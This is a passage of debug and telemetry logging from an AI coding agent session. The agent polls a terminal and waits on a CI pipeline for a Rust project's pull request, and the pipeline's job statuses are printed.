codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53136e11a08191ae6e2c2e21f8c615\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNuDzvl7V1BEbOK4VvvJ7kMU4tpQ9ClVTPGP-CE3hmQage4bnjsDRz2df6dO489tkdJMOUmluwRqJcHXMo3EZoAgQGxc3pCky4OZpXNpwLz7VOo43lsQwSJbdyPZ3GfKrIn_kcM3gfhaC3EdYU6IqoVHGXc2nNV2yqnDMQ6BejBSy5KXF57B82JDzuE5jhXXdXFowsWSibytln42F3TvdNXp5VfuWvGMUppvfj-NAF-z5aoaiNKnop-ZmUsII3oXfzqjmkpw-NH0JuLNWJwAPJYRCKlQ7p9GbEw9TMGO16J14VKuB55ohS6NYLnanaBgLH02hzmE4Iq2Kss6ayqEY5SFDE1cP5t3xcGkNvtsd5Vl9GSwKp8OSiAw-VUEC25oCumuduCrdQ3yFI8exHz_ep6iQUGqJ4x-AbWUC2ODafX-ZEsx2mgzg_il3H-UuZuIvCbkJgg7arYyVJM4t8e89D5YD-DlhPtuk_dJAxk0jM3BZ0kPcH8JoOEaHoeQNG6pd2WQv1tBWEQB0QO5RKEU6_2QgcZ4cyjKDh8JYccrojV-vkzeg0p9snow2Ss6nCrsT4BEs2rJ308syppdIo1qQEQWdWTORwpZFih9RudEYFucfYTPEBTCI41oHo2Pd2OqJLuLZw5gfHCm9Oh-M5uTREIK3f-b9SPpxeOu05QxbhL6bnCXlsrAH_HtiVWr3EfWktuL8vLe7HqqyEt-bE7VVb_w-PQ449ecKJJq0kRLNeAPfkHe9AgIPwe3x1M32aoOPVFyEmraxGUAiFyNaSBMD_C7eqwdU7KpuT-eM5uhbQIhjZoeJzn0maqgpAv809DcvjkXNA1UN4OxUzwS03DhFF2ef-auV0yABe8n-W9kAGXARvOW2FaPTgP1MfkvQKGD4FFyvvKp3qXrTbfcgpTAmJNoSgjOfP-C3i2zIfcAAOdN7D-dHG8dRSzyZzpeYQ8Kklo\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:18.571Z] [INFO] \n[2026-07-12T04:09:18.579Z] [INFO] 2026-07-12T04:09:18.577251Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53136e8a608191a76bb8049089a677\"), status: Some(\"in_progress\"), call_id: \"call_QbosEkxx1nUTRlTFXFOmTKLY\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:18.579Z] [INFO] \n[2026-07-12T04:09:19.555Z] [INFO] 2026-07-12T04:09:19.554853Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53136d59ac8191a1b7826e78935cab\"\n[2026-07-12T04:09:19.555Z] [INFO] 2026-07-12T04:09:19.554941Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=81160 output_token_count=72 cached_token_count=78592 reasoning_token_count=11 tool_token_count=81232 ttft_ms=834 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:19.554Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:19.555Z] [INFO] 2026-07-12T04:09:19.554974Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=81160 output_token_count=72 cached_token_count=78592 reasoning_token_count=11 tool_token_count=81232 ttft_ms=834 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:19.554Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:19.555Z] [INFO] \n[2026-07-12T04:09:19.562Z] [INFO] 2026-07-12T04:09:19.555102Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:81385,chars:\"\",yield_time_ms:30000,max_output_tokens:10000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:09:19.562Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:09:19.562Z] [INFO] \n[2026-07-12T04:09:29.623Z] [INFO] 2026-07-12T04:09:29.622250Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_QbosEkxx1nUTRlTFXFOmTKLY arguments=const r=await tools.write_stdin({session_id:81385,chars:\"\",yield_time_ms:30000,max_output_tokens:10000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:09:29.623Z] [INFO]  duration_ms=10064 success=true output=Script running with cell ID 25\n[2026-07-12T04:09:29.623Z] [INFO] Wall time 10.0 seconds\n[2026-07-12T04:09:29.623Z] [INFO] Output:\n[2026-07-12T04:09:29.623Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:09:29.622Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:29.623Z] [INFO] 2026-07-12T04:09:29.622379Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_QbosEkxx1nUTRlTFXFOmTKLY duration_ms=10064 success=true arguments_length=175 output_length=62 output_line_count=3 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:09:29.622Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:29.623Z] [INFO] 2026-07-12T04:09:29.622537Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_QbosEkxx1nUTRlTFXFOmTKLY tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=10064 total_duration_ms=10065\n[2026-07-12T04:09:29.623Z] [INFO] \n[2026-07-12T04:09:29.729Z] [INFO] 2026-07-12T04:09:29.729299Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:09:29.729Z] [INFO] \n[2026-07-12T04:09:29.738Z] [INFO] 2026-07-12T04:09:29.738277Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:09:29.738Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:29.738Z] [INFO] \n[2026-07-12T04:09:29.761Z] [INFO] 2026-07-12T04:09:29.739245Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:09:29.739Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:29.761Z] [INFO] 2026-07-12T04:09:29.739305Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:09:29.761Z] [INFO] \n[2026-07-12T04:09:31.218Z] [INFO] 2026-07-12T04:09:31.218008Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=FunctionCall { id: Some(\"fc_0e255b39bbad6b0b016a53137b330081918e8df2ebdde49849\"), name: \"wait\", namespace: None, arguments: \"\", call_id: \"call_B3Agmg7W9SNcyvTq6KLlderv\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:31.218Z] [INFO] \n[2026-07-12T04:09:31.763Z] [INFO] 2026-07-12T04:09:31.762373Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: wait {\"cell_id\":\"25\",\"yield_time_ms\":30000,\"max_tokens\":10000} thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:09:31.763Z] [INFO] \n[2026-07-12T04:09:31.774Z] [INFO] 2026-07-12T04:09:31.772597Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a531379cc948191a9c7c700856e6c6a\"\n[2026-07-12T04:09:31.774Z] [INFO] 2026-07-12T04:09:31.772644Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=81260 output_token_count=31 cached_token_count=80640 reasoning_token_count=0 tool_token_count=81291 ttft_ms=1480 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:31.772Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:31.774Z] [INFO] 2026-07-12T04:09:31.772736Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=81260 output_token_count=31 cached_token_count=80640 reasoning_token_count=0 tool_token_count=81291 ttft_ms=1480 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:31.772Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:31.774Z] [INFO] \n[2026-07-12T04:09:49.637Z] [INFO] 2026-07-12T04:09:49.628808Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-2bae2260-dfde-4f4a-aed5-22acb46ec03b arguments={\"session_id\":81385,\"chars\":\"\",\"yield_time_ms\":30000,\"max_output_tokens\":10000} duration_ms=30001 success=true output=Chunk ID: 2bbc78\n[2026-07-12T04:09:49.637Z] [INFO] Wall time: 30.0007 seconds\n[2026-07-12T04:09:49.637Z] [INFO] Process running with session ID 81385\n[2026-07-12T04:09:49.637Z] [INFO] Original token count: 3895\n[2026-07-12T04:09:49.637Z] [INFO] Output:\n[2026-07-12T04:09:49.637Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:49.637Z] [INFO] \n[2026-07-12T04:09:49.637Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:49.637Z] [INFO] Triggered via pull_request about 1 minute ago\n[2026-07-12T04:09:49.637Z] [INFO] \n[2026-07-12T04:09:49.637Z] [INFO] JOBS\n[2026-07-12T04:09:49.637Z] [INFO] \u2713 Detect Changes in 58s (ID 86613875688)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Detect changes\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:09:49.637Z] [INFO] \u2713 Version Modification Check in 51s (ID 86613875700)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Check for manual version changes\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:09:49.637Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:09:49.637Z] [INFO] * Ontology Word Coverage (ID 86613944298)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.637Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.637Z] [INFO]   * Build CLI\n[2026-07-12T04:09:49.637Z] [INFO]   * Check word coverage of README.md\n[2026-07-12T04:09:49.637Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO] * Lint and Format Check (ID 86613944301)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.637Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:49.637Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.637Z] [INFO]   * Check formatting\n[2026-07-12T04:09:49.637Z] [INFO]   * Run Clippy\n[2026-07-12T04:09:49.637Z] [INFO]   * Check file size limit\n[2026-07-12T04:09:49.637Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO] * Test (ubuntu-latest) (ID 86613944392)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.637Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.637Z] [INFO]   * Run tests\n[2026-07-12T04:09:49.637Z] [INFO]   * Run doc tests\n[2026-07-12T04:09:49.637Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO] * Test (windows-latest) (ID 86613944394)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.637Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.637Z] [INFO]   * Run tests\n[2026-07-12T04:09:49.637Z] [INFO]   * Run doc tests\n[2026-07-12T04:09:49.637Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.637Z] [INFO] * Test (macos-latest) (ID 86613944467)\n[2026-07-12T04:09:49.637Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.637Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:09:49.628Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:49.637Z] [INFO] 2026-07-12T04:09:49.632252Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-2bae2260-dfde-4f4a-aed5-22acb46ec03b duration_ms=30001 success=true arguments_length=79 output_length=1739 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:09:49.632Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:49.637Z] [INFO] \n[2026-07-12T04:09:49.691Z] [INFO] 2026-07-12T04:09:49.682555Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=wait call_id=call_B3Agmg7W9SNcyvTq6KLlderv arguments={\"cell_id\":\"25\",\"yield_time_ms\":30000,\"max_tokens\":10000} duration_ms=17919 success=true output=Script completed\n[2026-07-12T04:09:49.691Z] [INFO] Wall time 17.9 seconds\n[2026-07-12T04:09:49.691Z] [INFO] Output:\n[2026-07-12T04:09:49.691Z] [INFO] \n[2026-07-12T04:09:49.691Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:09:49.691Z] [INFO] \n[2026-07-12T04:09:49.691Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:09:49.691Z] [INFO] Triggered via pull_request about 1 minute ago\n[2026-07-12T04:09:49.691Z] [INFO] \n[2026-07-12T04:09:49.691Z] [INFO] JOBS\n[2026-07-12T04:09:49.691Z] [INFO] \u2713 Detect Changes in 58s (ID 86613875688)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Detect changes\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:09:49.691Z] [INFO] \u2713 Version Modification Check in 51s (ID 86613875700)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Check for manual version changes\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:09:49.691Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:09:49.691Z] [INFO] * Ontology Word Coverage (ID 86613944298)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.691Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.691Z] [INFO]   * Build CLI\n[2026-07-12T04:09:49.691Z] [INFO]   * Check word coverage of README.md\n[2026-07-12T04:09:49.691Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO] * Lint and Format Check (ID 86613944301)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.691Z] [INFO]   * Install rust-script\n[2026-07-12T04:09:49.691Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.691Z] [INFO]   * Check formatting\n[2026-07-12T04:09:49.691Z] [INFO]   * Run Clippy\n[2026-07-12T04:09:49.691Z] [INFO]   * Check file size limit\n[2026-07-12T04:09:49.691Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO] * Test (ubuntu-latest) (ID 86613944392)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.691Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.691Z] [INFO]   * Run tests\n[2026-07-12T04:09:49.691Z] [INFO]   * Run doc tests\n[2026-07-12T04:09:49.691Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO] * Test (windows-latest) (ID 86613944394)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.691Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.691Z] [INFO]   * Run tests\n[2026-07-12T04:09:49.691Z] [INFO]   * Run doc tests\n[2026-07-12T04:09:49.691Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO] * Test (macos-latest) (ID 86613944467)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:09:49.682Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:49.691Z] [INFO] 2026-07-12T04:09:49.682623Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=wait call_id=call_B3Agmg7W9SNcyvTq6KLlderv duration_ms=17919 success=true arguments_length=57 output_length=1701 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:09:49.682Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:49.691Z] [INFO] 2026-07-12T04:09:49.684122Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol 